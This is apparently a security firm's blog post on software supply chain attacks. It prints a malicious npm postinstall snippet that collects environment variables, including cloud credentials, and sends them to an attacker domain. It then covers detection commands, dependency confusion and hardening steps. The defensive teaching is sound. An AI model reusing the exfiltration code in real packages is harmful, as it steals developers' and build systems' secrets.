← Back to Blog Supply Chain

Supply Chain Attacks: The Threat Hiding in Your Trusted Software

April 3, 2026 · Blackhount · 7 min read
Supply chain attack network visualization

During a recent assessment, we discovered that a client's internal tooling was importing an npm package that had been hijacked three months earlier. The malicious version was silently collecting environment variables - including AWS credentials - and exfiltrating them to an external server on every build.

Supply chain attacks don't target you directly. They compromise something you already trust - a software package, a vendor's update system, a contractor's credentials - and use that trust as a weapon against you. They are extraordinarily difficult to detect and increasingly common.

What Is a Software Supply Chain Attack?

When your application depends on third-party code - npm packages, PyPI libraries, GitHub Actions, software updates - you're implicitly trusting every maintainer and every contributor in that chain. An attacker who compromises any link in that chain gains access to every organization downstream.

SolarWinds (2020): 18,000 organizations, including US government agencies, compromised via a poisoned software update. Kaseya (2021): 1,500 businesses hit via a managed service provider's remote monitoring tool. Log4Shell (2021): a single library used by millions of applications had a critical RCE flaw that took years to fully patch across the ecosystem.

A Real Finding: Malicious npm Package

On the engagement above, the client's CI/CD pipeline was building with a package that had been hijacked via a compromised maintainer account. The malicious code was subtle:

// Malicious code inserted into popular npm package (simplified)
// Ran during postinstall hook  -  executes on every npm install

const os = require('os');
const https = require('https');

// Collect environment variables (may contain secrets, API keys, cloud credentials)
const data = JSON.stringify({{
  host: os.hostname(),
  user: os.userInfo().username,
  env: process.env  // This contains AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, etc.
}});

// Silently exfiltrate to attacker-controlled server
const req = https.request({{
  hostname: 'telemetry-cdn-update.com',  // Convincing fake domain
  path: '/v1/metrics',
  method: 'POST',
  headers: {{'Content-Type': 'application/json', 'Content-Length': data.length}}
}});
req.write(data);
req.end();
// Malicious code inserted into popular npm package (simplified)
// Ran during postinstall hook  -  executes on every npm install

const os = require('os');
const https = require('https');

// Collect environment variables (may contain secrets, API keys, cloud credentials)
const data = JSON.stringify({{
  host: os.hostname(),
  user: os.userInfo().username,
  env: process.env  // This contains AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, etc.
}});

// Silently exfiltrate to attacker-controlled server
const req = https.request({{
  hostname: 'telemetry-cdn-update.com',  // Convincing fake domain
  path: '/v1/metrics',
  method: 'POST',
  headers: {{'Content-Type': 'application/json', 'Content-Length': data.length}}
}});
req.write(data);
req.end();

This ran on every developer's machine and every CI build. The client had been unknowingly exfiltrating AWS credentials to an external server for 94 days.

How to Detect It

# Check npm packages for known malicious versions
npm audit

# Review installed package versions against known good checksums
npm ci  # Uses package-lock.json  -  more deterministic than npm install

# Monitor for unexpected outbound connections from build systems
# The malicious package was connecting to telemetry-cdn-update.com
# A DNS/proxy log would have caught this on day one

# Use a Software Bill of Materials (SBOM) to track all dependencies
npx @cyclonedx/cyclonedx-npm --output-format json > sbom.json
# Check npm packages for known malicious versions
npm audit

# Review installed package versions against known good checksums
npm ci  # Uses package-lock.json  -  more deterministic than npm install

# Monitor for unexpected outbound connections from build systems
# The malicious package was connecting to telemetry-cdn-update.com
# A DNS/proxy log would have caught this on day one

# Use a Software Bill of Materials (SBOM) to track all dependencies
npx @cyclonedx/cyclonedx-npm --output-format json > sbom.json

Dependency Confusion Attacks

A specific variant worth knowing: attackers register public npm/PyPI packages with the same name as your internal private packages. If your package manager checks public registries before private ones, it will silently install the malicious public version instead.

# Example: your internal package is "mycompany-utils" on a private registry
# Attacker publishes "mycompany-utils" on npm public registry with a higher version number
# npm resolves the higher public version instead of your private one

# Fix: use npm's --registry flag or .npmrc scoping to enforce private registry for internal packages
# In .npmrc:
@mycompany:registry=https://your-private-registry.com
# Example: your internal package is "mycompany-utils" on a private registry
# Attacker publishes "mycompany-utils" on npm public registry with a higher version number
# npm resolves the higher public version instead of your private one

# Fix: use npm's --registry flag or .npmrc scoping to enforce private registry for internal packages
# In .npmrc:
@mycompany:registry=https://your-private-registry.com

Protecting Your Supply Chain

  1. Pin dependency versions. Use exact versions in package.json and commit lock files. Never use * or ^ for production dependencies.
  2. Run npm audit in CI. Fail builds on high-severity findings.
  3. Monitor outbound network traffic from build systems. Build pipelines should have limited, well-defined external network access.
  4. Enable MFA on package registry accounts. The npm maintainer whose account was compromised had no MFA enabled.
  5. Use a private registry mirror (Artifactory, Nexus) that caches and scans packages before they reach your builds.
  6. Vet vendors and contractors. If a vendor has access to your systems or code, their security posture is your security posture.

Supply chain security is hard, but the basics - pinned versions, audit in CI, and MFA on registry accounts - stop the majority of attacks. If you're not sure where your dependencies are coming from or what access your vendors have, an assessment is the right starting point.

Have questions about your security posture?

Blackhount offers free security assessments for Idaho businesses. No commitment, no jargon - just honest answers about what we find.

Get a Free Assessment